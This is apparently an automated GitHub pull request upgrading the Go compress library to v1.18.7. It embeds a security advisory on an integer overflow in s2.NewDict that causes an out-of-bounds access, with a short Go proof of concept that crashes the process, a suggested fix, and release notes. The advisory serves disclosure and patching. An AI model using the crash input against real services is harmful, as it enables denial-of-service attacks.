Skip to content

feat: update module github.com/klauspost/compress to v1.18.7 [security] - #94

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-klauspost-compress-vulnerability
Open

feat: update module github.com/klauspost/compress to v1.18.7 [security]#94
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-klauspost-compress-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/klauspost/compress v1.17.9 → v1.18.7 age confidence

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

CVE-2026-63209 / GHSA-259r-337f-4rfw

More information

Details

Signed Integer Overflow in s2.NewDict
Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package
  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)
Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability
Type
  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC
package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
  • Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector

Any application that:

  1. Accepts user-supplied S2 dictionary data via s2.NewDict()
  2. Calls Dict.Encode() on any data ≥32 bytes
Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References
  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)
Credits

Christopher Linke / https://github.com/celinke97/

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

klauspost/compress (github.com/klauspost/compress)

v1.18.7

Compare Source

  • Fix s2.NewDict OOB read.

Security release without other changes.

Full Changelog: klauspost/compress@v1.18.6...v1.18.7

v1.18.6

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.18.5...v1.18.6

v1.18.5

Compare Source

What's Changed

Full Changelog: klauspost/compress@v1.18.4...v1.18.5

v1.18.4

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.18.2...v1.18.4

v1.18.3

Compare Source

Downstream CVE-2025-61728

See golang/go#77102

Full Changelog: klauspost/compress@v1.18.2...v1.18.3

v1.18.2

Compare Source

What's Changed

v1.18.1 is marked "retracted" due to invalid flate/zip/gzip encoding.

New Contributors

Full Changelog: klauspost/compress@v1.18.1...v1.18.2

v1.18.1

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.18.0...v1.18.1

v1.18.0

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.11...v1.18.0

v1.17.11

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.10...v1.17.11

v1.17.10

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.9...v1.17.10

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • The go directive was updated for compatibility reasons

Details:

Package Change
go 1.22 -> 1.24

@codecov

codecov Bot commented Oct 21, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 54.81%. Comparing base (3cf2082) to head (718f898).

Additional details and impacted files 
@@           Coverage Diff           @@
##             main      #94   +/-   ##
=======================================
  Coverage   54.81%   54.81%           
=======================================
  Files          25       25           
  Lines        1609     1609           
=======================================
  Hits          882      882           
  Misses        630      630           
  Partials       97       97

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants